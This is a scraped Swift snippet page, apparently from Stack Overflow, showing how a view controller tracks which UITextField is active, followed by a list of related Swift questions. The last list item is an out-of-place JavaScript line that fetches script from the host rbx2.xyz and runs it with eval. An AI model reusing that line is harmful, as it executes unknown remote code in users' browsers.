/Swift/Xcode how to know which textfield is selected

Xcode how to know which textfield is selected

class ViewController : UIViewController, UITextFieldDelegate {

   var activeTextField = UITextField()

   // Assign the newly active text field to your activeTextField variable
   func textFieldDidBeginEditing(textField: UITextField) {

        self.activeTextField = textField
   }

   // Call activeTextField whenever you need to
   func anotherMethod() {

       // self.activeTextField.text is an optional, we safely unwrap it here
       if let activeTextFieldText = self.activeTextField.text {
             print("Active text field's text: \(activeTextFieldText)")
             return;
       }

       print("Active text field is empty")
   }
}

Source: stackoverflow.com

Similar codes

1 vote128 views1 answer
Gap between table header uitableview
Swift
-1 vote174 views1 answer
Most frequent element in array swift
Swift
1 vote143 views1 answer
Swift play audio stream from url
Swift
1 vote147 views1 answer
Get hours difference between two dates swift
Swift
0 vote134 views1 answer
Swift enum all cases
Swift
0 vote135 views1 answer
Swift close view
Swift
0 vote132 views1 answer
Swift dispatch after
Swift
-1 vote146 views2 answers
UICollectionviewcontroller reload data
Swift
0 vote143 views1 answer
Swift toggle on change
Swift
0 vote146 views5 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)
Swift